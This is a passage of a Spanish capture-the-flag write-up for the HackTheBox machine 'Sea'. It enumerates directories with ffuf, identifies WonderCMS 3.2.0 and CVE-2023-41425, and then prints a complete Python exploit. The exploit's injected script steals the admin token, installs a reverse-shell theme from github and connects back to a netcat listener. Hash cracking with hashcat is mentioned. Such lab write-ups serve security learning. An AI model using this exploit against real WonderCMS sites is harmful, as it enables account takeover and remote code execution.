Mar


Entramos por el port 80:


Con burpsuite la peticion que se hace:

Ahora intentaremos enumerar directorios:

Ahora crearemos un script el cual hago el ffuf automaticamente en esos 4 direcotorios que arroja 301:
#!/bin/bash
base_url="http://sea.htb"
wordlist="/usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt"
output_dir="./dirEnum"
# Set up file path
mkdir -p dirEnum
# Sanitize and format paths
sanitize_path() {
echo "$1" | tr -d '[:punct:]' | tr -s ' ' | tr ' ' '_'
}
# Function to perform recursive ffuf scan
scan() {
local path=$1
local safe_path=$(sanitize_path "$path")
echo "Scanning $base_url$path..."
# Execute ffuf scan and handle output path correctly
ffuf -c -t 200 -w $wordlist -u "$base_url$path/FUZZ" -fc 403 -o "$output_dir/$safe_path.json" -of json
# Process results if file exists and is readable
if [[ -f "$output_dir/$safe_path.json" ]]; then
jq -r '.results[] | select(.url | endswith("/")) | .url' "$output_dir/$safe_path.json" | while read subdir; do
# Recursive call to scan subdirectories
scan "$path$subdir"
done
else
echo "Error: JSON output not found for $path"
fi
}
# Start scanning
scan "/messages/"
scan "/data/"
scan "/plugins/"
scan "/themes/"

Encontrado el bike tenemos que seguir enumerando directorios pero esta vez cambiando la ruta ultima del script (/themes/bike/)(/data/files/) son los directorios que se encontraron o podemos ejecutar el siguiente comando a gusto de ustedes:
ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -u "http://sea.htb/data/files/FUZZ" -t 200 -fc 403 ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -u "http
://sea.htb/themes/bike/FUZZ" -t 200 -fc 403
Se encontro un css en /themes/bike/:

Seguimos buscando:
ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403
Se encontro algo potencial en themes/bike:

En el README.md:

Paso 2: Identificación de vulnerabilidades
Los version
archivos revelan la versión de CMS, es decir, 3.2.0. Después de buscar en Internet, podemos ver que esta versión está sujeta a CVE-2023-41425, también conocida como vulnerabilidad Cross Site Scripting, que permite a un atacante remoto ejecutar código arbitrario a través de un script creado por un usuario y cargado en el installModule
componente.
Paso 3: Explotación de vulnerabilidades
WonderCMS RCE | Datos de Www
Dado que filtramos la información de su versión, podemos buscar CVE en Internet. CVE-2023-41425 es una vulnerabilidad XSS que provoca una RCE a través de un script de explotación creado por un usuario y cargado en el installModule
componente.
Dado que tenemos que realizar algunas modificaciones en el POC (lo cual es molesto y no divertido, debido a algunas restricciones especÃficas en el servidor HTB), aquà está el script de explotación original a continuación:
# Exploit: WonderCMS XSS to RCE
import sys
import requests
import os
import bs4
if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
var ip = "'''+str(sys.argv[2])+'''";
var port = "'''+str(sys.argv[3])+'''";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}
};
}
};
'''
try:
open("xss.js","w").write(data)
print("[+] xss.js is created")
print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
print("----------------------------\n")
XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
XSSlink = XSSlink.strip(" ")
print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
print("----------------------------\n")
print("\nstarting HTTP server to allow the access to xss.js")
os.system("python3 -m http.server\n")
except: print(data,"\n","//write this to a file")
Corriendo el exploit:

En escucha por el puerto:

Maquina interactiva:

Usando hashcat
con el archivo de diccionario rockyou.txt
para intentar descifrar la contraseña del hash bcrypt que proporcionaste, debes asegurarte de que el hash y el modo de hashcat
sean correctos.

Entrando por ssh:

Last updated